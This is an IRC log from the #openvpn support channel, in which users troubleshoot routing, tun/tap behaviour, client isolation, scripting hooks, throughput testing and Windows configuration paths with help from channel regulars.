02:21 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
02:23 -!- suprMan` [~clark_ken@109.63.110.144] has quit [Ping timeout: 248 seconds]
02:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
03:34 -!- excalibr [ubuntu@unaffiliated/excalibr] has quit [Quit: excalibr]
03:35 -!- excalibr [ubuntu@unaffiliated/excalibr] has joined #openvpn
03:53 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
04:02 -!- bigDoggy [brads@2600:3c00::f03c:91ff:fe70:f0a9] has joined #openvpn
04:06 < bigDoggy> clients cannot ping each other when conncted to the server?  http://bpaste.net/show/115195/
04:25 -!- bigDoggy [brads@2600:3c00::f03c:91ff:fe70:f0a9] has quit [Quit: Hey!  Where'd my controlling terminal go?]
04:36 -!- bitg [bitg@gateway/shell/xzibition.com/x-vvbudtnmpdqhvcan] has quit [Ping timeout: 246 seconds]
04:38 -!- bitg [bitg@gateway/shell/xzibition.com/x-dfmxffikyxdusqxw] has joined #openvpn
04:45 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
04:45 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
04:46 -!- Denial [Denial@90.202.26.221] has joined #openvpn
04:49 -!- monk [~aknm@196.14.139.96] has joined #openvpn
04:49 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
04:49 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
05:21 -!- suprMan` [~clark_ken@109.63.110.144] has joined #openvpn
05:35 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
05:36 -!- suprMan` [~clark_ken@109.63.110.144] has quit [Quit: suprMan` is outta here! Ciao!]
05:43 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:46 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
06:07 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Remote host closed the connection]
06:08 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
06:31 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
06:36 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:41 -!- Perun [perun@chao5.net] has joined #openvpn
06:41 < Perun> hi
06:52 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
07:03 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
07:08 < ikrabbe> I want my users to user openvpn to connect to my servers, which works, as long as they don't have any IPSec solutions installed on their windows machines (like WatchGuard MobileSolution or Fritz VPN)
07:09 < ikrabbe> The component is the tap driver of course. The WatchGuard solution doesn't seem to be able to user the openvpn tun/tap driver and the openvpn software refuses to user the WatchGuards TAP Driver (with some error telling me something about version 9)
07:09 < ikrabbe> How can I resolve this conflict?
07:12 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has quit [Ping timeout: 248 seconds]
07:13 < ikrabbe> http://serverfault.com/questions/103926/is-there-a-real-way-to-connect-to-watchguards-vpn-from-linux Reading this article
07:13 < ikrabbe> seems to reveal that WatchGuard SSL VPN is nothing else but a repackaged openvpn, as they seem to use ovpn config files
07:13 <@vpnHelper> Title: openvpn - Is there a real way to connect to WatchGuards VPN from Linux? - Server Fault (at serverfault.com)
07:13 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
07:44 < ikrabbe> hmm the actual problem might be the Fritz!Fernwartung VPN Client
07:49 < ikrabbe> or just the user of the system
07:49 < ikrabbe> sigh
07:50 < ikrabbe> he told me that he crashed his windows installation with the openvpn client I gave him (checked and known to work version from openvpn.net)
07:56 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
08:00 -!- Wheelz [~Wheelz@99-187-145-173.lightspeed.rcsntx.sbcglobal.net] has joined #openvpn
08:05 -!- Wheelz [~Wheelz@99-187-145-173.lightspeed.rcsntx.sbcglobal.net] has quit [Ping timeout: 276 seconds]
08:09 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:13 -!- y4h0 [~yavor@78.128.23.17] has joined #openvpn
08:13 < y4h0> hi there
08:14 < y4h0> how to use openssl-1.0.1.cnf file on easy-rsa version 2.0
08:14 < y4h0> ?
08:16 < xTz> um.. what?
08:25 <@krzee> ikrabbe, this channel supports openvpn, for some repackaged software go talk to the repackagers
08:29 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
08:37 < xTz> hmm
08:37 < xTz> # route show -inet | grep zamunda
08:37 < xTz> zamunda.se         10.0.1.5           UGS        0       84     -     8 tun0
08:37 < xTz> # route delete zamunda.se
08:37 < xTz> route: writing to routing socket: No such process
08:38 < xTz> delete host zamunda.se: not in table
08:38 < xTz> #
08:45 -!- Whoopie [Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 263 seconds]
08:45 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
08:48 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
08:53 -!- JAVACODER [~JAVACODER@2.190.46.218] has joined #openvpn
08:53 -!- cm_ [cm@cm.andrexen.com] has joined #openvpn
08:54 <@krzee> xTz, what are you trying to do...?
09:11 < xTz> to delete a non-working route
09:11 < xTz> figured it out already
09:11 <@krzee> wtf is a hostname doing in a routing table?
09:12 < xTz> if u add a -n to the route command it would show as an ip
09:12 < fischli> there's nothing wrong with static routing tables
09:13 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
09:13 < xTz> it is added by OpenVPN
09:18 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
09:19 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Operation timed out]
09:24 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
09:25 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:27 -!- Whoopie [Whoopie@unaffiliated/whoopie] has joined #openvpn
09:48 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
10:16 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
10:17 -!- Devastator [~devas@186.214.14.95] has joined #openvpn
10:18 -!- Wheelz [~Wheelz@209-253-157-229.ip.mcleodusa.net] has joined #openvpn
10:32 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
10:57 -!- JAVACODER [~JAVACODER@2.190.46.218] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
10:58 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
11:01 -!- mattock is now known as mattock_afk
11:06 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
11:11 -!- mattock_afk is now known as mattock
11:11 -!- raidz_away is now known as raidz
11:18 < ikrabbe> 0krzee: yes I asked about compatibility problems between openvpn and other vpn solutions regarding the use of tap drivers
11:20 -!- chiiph [~chiiph@unaffiliated/chiiph] has joined #openvpn
11:21 < chiiph> he everyone, I've been having this issue with ping-restart, details in here: https://forums.openvpn.net/topic13385.html , has anybody experienced anything like it?
11:21 <@vpnHelper> Title: OpenVPN Support Forum ping-restart breaks the routing table : Server Administration (at forums.openvpn.net)
11:29 -!- dougquaid [~brian@pool-108-44-169-124.clppva.fios.verizon.net] has joined #openvpn
11:31 < dougquaid> I've got a server that uses the fragment directive. I just realized that the openvpn client for iphone doesn't support fragment, so I want to take it out of my server which will of course cause all PC clients to stop working. Is there a way that I can push down a config change like this to clients automatically as they connect?
11:31 < dougquaid> Maybe with an up script?
11:34 <@krzee> ikrabbe, but only they can answer it
11:34 <@krzee> we dont know what they changed
11:35 <@krzee> dougquaid, test if you can push the fragment directive to reset it
11:35 <@krzee> pushed directives override ones specified in the config, IF you can push the directive
11:36 <+pekster> chiiph: I believe use of --persist-tun in your setup prevents the re-application of routes, and your $vpn_endpoint via $physical_gateway route gets lost when you unplug the link
11:36 <+pekster> chiiph: Either don't use --persist-tun, or don't unplug your network cable
11:37 <@krzee> ^ sounds right
11:37 < dougquaid> krzee: What's the directive to push that disables fragment? Or do you mean after an iphone connects to push fragment?
11:37 <@krzee> the fragment directive set to default would disable it
11:37 <@krzee> well it would disable the change
11:38 <@krzee> that only helps if fragment can be pushed
11:38 < dougquaid> Ok, sounds like I need to setup a test server to see if it can be
11:38 < chiiph> pekster: ah, I see, I'll give it a try. Thanks!
11:39 <@krzee> "Other options such as TLS or MTU parameters cannot be pushed because the client needs to know them before the connection to the server can be initiated."
11:39 <@krzee> (from the manual)
11:39 <@krzee> dougquaid, you may just want to start another vpn service for the iphones and configs without --fragment
11:39 < dougquaid> That's not a bad idea
11:39 <@krzee> on a different port / subnet
11:40 <@krzee> and depending on your needs you can route them to eachother
11:48 -!- mattock is now known as mattock_afk
11:55 < chiiph> pekster: indeed that was it, thanks a lot!
11:56 < chiiph> we are using the down-root.so plugin, but it seems to be failing when it tries to run ip route del blah
11:56 < chiiph> I have no idea why, down-root.so is supposed to handle the permissions
12:03 -!- mattock_afk is now known as mattock
12:06 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
12:13 -!- s3ction [~s3ction@66.199.44.154] has joined #openvpn
12:17 < s3ction> Got a question. If you use openvpn to push an IP address and gateway to a client in the ccd folder: ifconfig-push 192.168.0.2 192.168.0.1 What is stopping them from changing their IP? What if there are multiple networks and 192.168.0.0/24 192.168.1.2/24 What is stopping a client from changing their assigned IP from 192.168.0.2 to 192.168.1.2?
12:18 < s3ction> Meant 192.168.1.0/24 when I was talking about the second network*
12:19 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
12:22 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:24 -!- s3ction_ [~s3ction@ns4004700.ip-198-27-64.net] has joined #openvpn
12:24 <@krzee> s3ction, try it
12:25 -!- s3ction [~s3ction@66.199.44.154] has quit [Remote host closed the connection]
12:25 <@krzee> it should not work because openvpn's internal routing table will not map the ip to them so the server will not respond to that client on the new ip
12:26 <@krzee> at one point i remember people saying they had done it, but more recently it has been tested and shown to not work
12:27 < s3ction_> I tried it but I wasn't sure if I just did it wrong so it wasn't working
12:33 -!- s3ction_ is now known as s3ction
12:33 -!- mattock is now known as mattock_afk
12:34 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
12:34 < s3ction> I changed the my IP and it wouldn't route anymore. But I wasn't sure, just looking to get an understanding of what openvpn does when it deals with routing. I just don't want clients having the ability to hop from one network to another
12:36 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
12:38 <+pekster> s3ction: In tun mode, openvpn won't accept packets from other addresses; in tap openvpn is transporting Ethernet frames, so it won't care what IP is being sent (thus you'd need a firewall to stop that)
12:38 <+pekster> If you *intend* to do that in tun mode, you'll need to use an --iroute statement
12:39 <+pekster> What happens once a valid packet reaches teh server is up to the server's routing & firewall setup
12:46 -!- mattock_afk is now known as mattock
12:47 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
12:49 < s3ction> pekster: omg.... I had no clue tun and tap were so significant.
12:49 < s3ction> I thought they meant the same thing essentially
12:54 <@krzee> good point i didnt think of tap
12:54 <@krzee> pekster, did you see my msg?
12:56 < s3ction> So I should be okay if I use tun interface. assign IPs statically to connecting clients. and with that they will not be able to hop from one network to the next
12:56 <@krzee> assuming the firewall does not let them
12:57 < s3ction> otherwise I would have to deal with that if I used a tap interface. But isn't a firewall looking at a the IP not the ethernet frame? I mean I know you can download a firewall that can see layer 2 but for iptables if they change thier IP how would that stp it?
12:58 < s3ction> If I had multiple networks on one tap interface for example
12:58 <@krzee> they can send packets towards the other networks if they add routes, but whether that reaches or not depends on your firewall (and ip forwarding setting)
12:58 < s3ction> Or would the thing krzee was telling me come into play?
12:58 < s3ction> Where openvpn has a routing table that matches IP addresses to client connections/certificates
13:05 < s3ction> https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
13:05 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
13:05 < s3ction> This supports your statement pekster
13:05 < s3ction> heh
13:05 < s3ction> ya just found it
13:06 <+pekster> "hope from one network"?
13:06 <+pekster> If you're going between networks, routing comes into play, and an L3 firewall is required to control what happens (as is a router on the subnet)
13:08 < s3ction> Alright. I think I've got it.
13:11 -!- mattock is now known as mattock_afk
13:15 < s3ction> Thanks.
13:15 -!- Improv [~pgunn@dachte.org] has joined #openvpn
13:16 < Improv> Hey all, if I'm running OpenVPN in server mode, if I specify an --up script it runs once when the server is coming up, *not* on every client connect, right?
13:17 <@krzee> right
13:17 <@krzee> !scripts
13:17 <@krzee> !script
13:17 <@vpnHelper> "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
13:17 < Improv> Does it need to be in shell, or can it be any program?
13:17 <@krzee> --client-connect is when each client connects
13:17 <@krzee> can use any language
13:17 < Improv> Cool, thanks.
13:18 -!- s3ction [~s3ction@ns4004700.ip-198-27-64.net] has quit [Quit: leaving]
13:23 -!- troj [~xxx@94.242.205.4] has quit [Read error: Operation timed out]
13:24 -!- mattock_afk is now known as mattock
13:30 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Remote host closed the connection]
13:30 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
13:35 -!- mattock is now known as mattock_afk
13:39 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 245 seconds]
13:39 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
13:44 < Improv> If I want, for scripting, an environment variable holding the virtual IP the server takes (for a tun network), is there one?
13:45 < Improv> The ifconfig_pool_local_ip variable *might* be what I want, but the docs say it's set on the server prior to client-connect scripts (too late; I want this for an --up script), and I'm not sure it's set for server mode.
13:45 -!- mattock_afk is now known as mattock
13:47 <+pekster> Improv: IIRC you get that env-var in the --up script too, but it's kind of silly since you're statically defining the IP on the server, so you shouldn't really need a variable to tell you what it is
13:47 < Improv> pekster: I'm launching a bunch of servers through a script
13:47 <+pekster> You can do something like `set > /tmp/var-list.txt` in any of the hook scripts though
13:48 < Improv> pekster: Would be great if each server could manage its own iptables rules when it comes up.
13:48 <+pekster> That's up to you to code
13:49 <+pekster> There's no real difference if you have some --up script do it, or the script launching all these instances; it amounts to the sam ething
13:49 < Improv> pekster: Yup. I have the rules I want, I just am hoping to find the best way to parameterise them.
13:49 < Improv> Maybe I should just create the rules statically.
13:49 <+pekster> Server-side firewall rules I bring up when my distro firewall rules are created
13:49 <+pekster> The only exception is dynamic rules to handle unique clients specially, where you need --client-connect and --client-disconnect integration
13:50 < Improv> Yeah, I don't need that, but I'm intending to run 6-8 OpenVPNs on a bunch of boxen
13:50 < Improv> I guess it's easier to reason about static iptables rules, so maybe I don't need to do this in an up script.
13:51 <+pekster> Right, I don't see the benefit to messing with firewall rules when VPNs come up and down unless it's truely dynamic
13:51 <+pekster> It's just wasted processing time for rules that effectively never change
14:20 -!- tharkun [~0@187.188.166.5] has quit [Remote host closed the connection]
14:25 -!- tharkun [~0@187.188.166.5] has joined #openvpn
14:29 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
14:37 -!- Improv [~pgunn@dachte.org] has left #openvpn []
14:55 < lamba> this is a bit left field, but can openvpn be affected by low entropy on a vm ? and if so, what's considered "low" ?
14:58 <+pekster> lamba, consumers of cryptographic-quality entropy will block until the OS provides a sufficient amount (eg: using openssl to generate keypairs.) If your PRNG implemetnation on your OS suffers from low-quality entropy, so will the quality of your cryptographic operations
14:58 <+pekster> There's not much openvpn can do to fix this; that's fixed at your OS level
14:58 < lamba> that's only at the time of key generation though, right ? it dosent matter for connections using those keys once they're made ?
14:58 <@ecrist> right
14:59 <+pekster> The DH handshake in TLS mode uses some random data from both hosts, but that's less-important entropy
14:59 < lamba> ok. can rule that out as an issue. ;) i've got a little less speed on my server than i'd like, but there's a lot of moving parts to rule out one at a time.
14:59 <+pekster> (and by using it from both hosts, a single host with low quality won't impact the overal randomness much)
15:02 < dosequis> hey all - I have setup a working openvpn server & client. However, accessing a Samba share is terribly slow. Does anyone have a recommendation on how to solve this problem?
15:04 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
15:05 <@krzee> pekster, i have tried #linux and ##networking, could you help me with another linux policy routing problem? after that this policy routing setup will be done
15:21 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
16:11 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
16:15 -!- SSL [~SSL@unaffiliated/ssl] has joined #openvpn
16:16 -!- SSL [~SSL@unaffiliated/ssl] has left #openvpn ["Leaving"]
16:23 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
17:04 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
17:06 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
17:16 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 248 seconds]
17:20 -!- Denial [Denial@90.202.26.221] has quit []
17:33 -!- Roelke [~Roelke@hostserv.nl] has joined #openvpn
17:33 < Roelke> !welcome
17:33 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
17:33 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
17:33 < Roelke> hey guys
17:34 < Roelke> question i've some problems with OpenVPN performance
17:35 < Roelke> without encryption (and also with) the troughput is only 12Mbit
17:35 < Roelke> my internetconnection is 60mbit
17:36 < Roelke> i've tried with Openvpn windows client and with PFsense, that doesn't make a difference
17:36 < Roelke> the Sever is a VPS with enough CPU power, client a windows 7 laptop
17:39 < Roelke> *server
17:44 < ngharo> "Server is a VPS with enough CPU power" - how would you even know?  If you're performance testing you need a testbed that you control
17:47 -!- falkenMaze [brads@2600:3c01::f03c:91ff:feae:9ef3] has joined #openvpn
17:48 < falkenMaze> where is the default client directory for openvpn on a win server?  Options error: --client-config-dir fails with 'ccd': No such file or directory
17:50 <@krzee> Roelke,
17:50 <@krzee> !gigabit
17:50 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
17:51 <@krzee> falkenMaze, you could use a full path
17:51 <@krzee> !path
17:51 <@vpnHelper> "path" is (#1) use full paths in your config! or (#2) if you use windows, see !winpath
17:51 <@krzee> !winpath
17:51 <@vpnHelper> "winpath" is (#1) Remember on Windows to quote pathnames and use double backslashes, e.g.: "C:\\Program Files\\OpenVPN\\config\\foo.key" or (#2) also, you can use forward slashes to avoid needing double backslashes, but you still need quotes, e.g.: C:/Program Files/OpenVPN/config/foo.key (but surrounded by quotes)
17:51 < Roelke> true ngharo but i've noticed exact the same problem with 2 different VPS
17:52 < Roelke> also top is not showing any significant load when running speedtests
17:53 < Roelke> krzee: i've tried with both TCP and UDP and with some encryptions, it doesn't change anything
17:53 <@krzee> top reports the vps client load, no guaruntee on what that means for the vps host itself
17:54 <@krzee> i guess you didnt read the link, as it spends most time talking about mtu
17:54 < Roelke> i've read it
17:54 < Roelke> i'm goint to try some different MTUs
17:58 < M-Technic> Is your upstream 60mbit too?
17:58 < falkenMaze> my issue is that clients cannot ping each other when connected to a winserver. the only thing different in the config from a live linux server I have is "client-config-dir ccd", but it borks on winserver with the previous error I posted.    http://bpaste.net/show/ar0hzmlAZ39dCoAY4V6D/
18:00 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:05 < Roelke> M-Technic: upstream VPS should be higher then 60mbit
18:05 < Roelke> krzee: i've tried 3 different MTUs (3000 - 32000)  but it doesn't change anything
18:06 <@krzee> how are you measuring?
18:07 < Roelke> downloading 100MB file from Cachefly
18:07 < Roelke> i've tried without VPN enabled and the speed is much higher then
18:09 <@krzee> try using iperf from your vpn client to vpn server
18:09 <@krzee> try it over normal internet and over vpn between the exact same 2 machines
18:11 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
18:21 < falkenMaze> ccd works, but clients cannot ping the gateway
18:21 <@krzee> they can not ping what gateway? the vpn server?
18:23 < Roelke> hmm krzee the Iperf troughput even without VPN is really bad : [  4]  0.0-10.0 sec  5.47 MBytes  4.58 Mbits/sec
18:23 <@krzee> there you go then
18:23 <@krzee> its not the vpn
18:24 < Roelke> it's really strange, i've made a 100mb test bin, and i can download it with 5MB/ sec
18:24 < falkenMaze> client routing table  http://bpaste.net/show/1N2s8Y0ojHVFoiXUHik7/
18:26 <@krzee> you downloading via tcp and using iperf on udp?
18:26 < Roelke> no iperf also on TCP
18:27 <@krzee> same port?
18:27 < Roelke> no
18:27 < Roelke> http port 80
18:27 < Roelke> ipef port 5000
18:27 <@krzee> then try port 80
18:27 < falkenMaze> server outing table. clients cannot ping gateway or other clients? no errors  http://bpaste.net/show/wtwuXxT9cLTd4kv8u8hO/
18:27 <@krzee> you never know what s being throttled
18:28 <@krzee> falkenMaze, i still dont know what "the gateway" is
18:28 <@krzee> [19:21]  <falkenMaze> ccd works, but clients cannot ping the gateway
18:28 <@krzee> [19:21]  <krzee> they can not ping what gateway? the vpn server?
18:28 < falkenMaze> krzee yes, ccd is now error free. same core issue.
18:29 < falkenMaze> routing tables look norma.
18:29 < falkenMaze> l
18:29 <@krzee> until i know what cant be reached im not even going to look
18:29 < Roelke> krzee: i've tried 443, exact the same result
18:30 <@krzee> Roelke, what is your test bin?  i bet your webserver compresses it on the fly for the send
18:31 <@krzee> if its highly compressable you'll get a big file in less time
18:31 < Roelke> it's dev/zero
18:31 < Roelke> so it's compressable
18:32 < Roelke> making one with /dev/random
18:32 <@krzee> dont trust iperf?
18:33 < Roelke> ?
18:33 <@krzee> nevermind, go for it :)
18:33 < falkenMaze> krzee I cannot ping server or other clients
18:33 < falkenMaze> no group communication
18:34 <@krzee> is this the only client having the problem
18:34 <@krzee> ?
18:35 < falkenMaze> krzee controlled/test enviroment. 1 winserver and 2 win clients.
18:35 <@krzee> nice, both clients same problem?
18:35 < falkenMaze> yes sir!
18:35 <@krzee> what ip are you pinging?
18:36 <@krzee> !logs
18:36 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
18:36 < falkenMaze> ping 10.8.0.1  timed out   and client to client pint 10.8.0.10  borks too
18:37 < falkenMaze> krzee windows logging sux!  I get some loggin output from the cmdline output. one sec.
18:38 <@krzee> !logfile
18:38 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
18:38 <@krzee> its the EXACT same logging as unix
18:38 <@krzee> openjvpn handles it
18:38 <@krzee> openvpn*
18:39 < falkenMaze> I have no clue how windows logging works anymore. they broke everything.
18:39 < falkenMaze> http://bpaste.net/show/B5qAmsJlJjJYtbsY0wmx/
18:40 < lamba> krzee, in fairness, i used iperf this morning over my openvpn server and got 480Mbit/sec, on a 100Mbit line.
18:41 <@krzee> hahaha
18:41 <@krzee> with lzo or snappy?
18:41 < falkenMaze> one sec, trying to get some output.
18:42 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds]
18:46 -!- master_of_master [~master_of@p4FF24C43.dip0.t-ipconnect.de] has joined #openvpn
18:49 -!- master_o1_master [~master_of@p4FF24C2F.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
18:54 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
18:54 -!- mode/#openvpn [+o plaisthos] by ChanServ
19:05 < MorgyN> is there anything else that would cause the tls negotiation to fail other than networking? My windows server is not sending any packets out in response according to wireshark
19:06 <@krzee> MorgyN, firewall, time
19:07 < MorgyN> windows firewall is off, both are ntp'd =/
19:09 < MorgyN> oh i'm a dingus =(
19:09 < MorgyN> it's going out the wrong interface
19:09 < MorgyN> now to find out how to set metrics under windows
19:19 <@krzee> why are you using metrics?
19:19 <@krzee> got some routing protocol running that uses them?
19:28 -!- Wheelz [~Wheelz@209-253-157-229.ip.mcleodusa.net] has quit [Ping timeout: 246 seconds]
19:30 -!- raidz is now known as raidz_away
19:33 < MorgyN> krzee: both sides of the network have internet connectivity
19:34 < MorgyN> tcp works thro either interface because "windows is smart", but udp doesn't
19:34 < MorgyN> I don't know any other way to set the preference of each interface other than metrics =/
19:35 < MorgyN> I've fixed it now tho
19:35 -!- Devastator [~devas@186.214.14.95] has quit [Changing host]
19:35 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
19:55 -!- Grievre [~rfm@4.53.128.211] has joined #openvpn
19:56 < Grievre> Is there a way to combine OpenVPN and virtualization such that, inside the VM, the VPN connection presents as a normal network interface
19:56 < Grievre> and outside of the VM the VPN connection runs entirely in userland?
19:58 -!- sepeck [~sepeck@drupal.org/user/5195/view] has joined #openvpn
19:58 -!- sepeck [~sepeck@drupal.org/user/5195/view] has left #openvpn []
19:58 < Dar1us> Grievre: you don't consider tun and tap "normal network interfaces"?
20:00 < Grievre> Dar1us: What I mean is, I want the VPN config and such to be outside of the VM
20:00 < Grievre> but I only want the openvpn interfaces to show up INSIDE the vm
20:00 < Dar1us> well you could setup openvpn then tell your VM software to bridge to the openvpn interface
20:00 < Grievre> yes but I need root for that, plus then the openvpn interface shows up outside the VM
20:00 < Dar1us> wait
20:01 < Dar1us> you want to run openvpn inside the VM to provide a connection to the outside PC?
20:01 < Dar1us> or?
20:01 < Dar1us> it's very confusing
20:01 < Grievre> Dar1us: OK let me explain in more detail: I use the same laptop for personal and work stuff. I want to run all of my work stuff inside of a VM, and have it connect to my work network via VPN
20:02 < Grievre> but for simplicity and security's sake, I don't want the work VM to be able to talk to my local network
20:02 < Grievre> I want it to ONLY have access to the VPN
20:02 < Grievre> and I don't want the VPN interface to show up outside the VM either, although if that's unavoidable then whatever
20:02 < Dar1us> well.. either run openvpn outside the VM in which case the VM won't need access to your local network
20:03 < Dar1us> OR run openvpn inside but then it will need some (limited) access to the local network so it can get packets to the work VPN endpoint
20:03 < Dar1us> but you could firewall the crap out of it
20:03 < Grievre> Dar1us: OK so the answer is "not possible currently" then?
20:03 < Dar1us> I think the answer is "not possible ever"
20:03 < Dar1us> because it is logically impossible :)
20:03 -!- falkenMaze [brads@2600:3c01::f03c:91ff:feae:9ef3] has left #openvpn []
20:04 < Grievre> Dar1us: No it's not. There's no reason why you couldn't write a plugin for the VM software that connects to openVPN and then only presents the interface to the guest OS
20:04 < Dar1us> but then openvpn would be running outside the VM
20:05 < Dar1us> if you are willing to allow that then just have the VM software bridge the internal iface to the openvpn tap iface
20:05 < Grievre> Dar1us: But you need root for that
20:05 < Grievre> plus it exposes the tap iface to everything else running on the machine
20:06 < Dar1us> cam
20:06 < Dar1us> true, but that is true regardless?
20:06 < Grievre> cam?
20:06 < Dar1us> you can have openvpn drop privs
20:06 < MorgyN> I guess if your personal machine was linux, you could set up a very portfoward to just a internal network to the machine
20:06 < Dar1us> but it would still need _some_ access to the local network
20:07 < Dar1us> but like I said, you could just firewall it heavily
20:07 < Grievre> MorgyN: See ideally I want to be able to do this entirely in my home directory on a machine where I don't have root... I don't have a /real/ need to do this but it would be neat if we could
20:07 < Dar1us> it == the VM interface to the hypervisor
20:07 < MorgyN> ssh tunnel?
20:08 < Dar1us> why not just firewall it?
20:08 < Dar1us> it is hard to say what approach is best without knowing what you want to defend against
20:11 < Grievre> It's more of an ease of configuration thing than a security thing. The inner VM sometimes runs on my laptop at home and sometimes runs on a computer physically at work (in which case it doesn't use the VPN)
20:11 < Grievre> I'd like the inner OS to not care about that and see the same network interface either way
20:12 < Dar1us> then I would run openvpn on the hypervisor OS and bridge to the VM interface
20:12 < Grievre> As far as the outer, I'd like to be able to easily set this up without having to bang my head against my distro's network config
20:12 < Grievre> ideally I'd like the whole thing to run as a regular user inside my home directory
20:12 < Dar1us> sudo openvpn --user ... is your friend :)
20:15 < Grievre> Dar1us: By "run as a regular user" I mean never being root
20:16 < Dar1us> Grievre: yeah, but why?
20:17 < Grievre> Dar1us: ...because then you could do this on a machine on which you don't have root?
20:17 < Grievre> Dar1us: Clearly I don't need to explain why one generally tries not to run things as root unnecessarily...
20:18 < Dar1us> Grievre: but you just said you didn't want to run it inside the VM
20:18 < Dar1us> so you don't have much choice?
20:18 < Dar1us> you seem to be making life harder for yourself :(
20:18 < Grievre> Dar1us: ...
20:19 < Dar1us> either run it inside the VM and allow it access to your network (however limited by the firewall)
20:19 < Dar1us> or run it outside
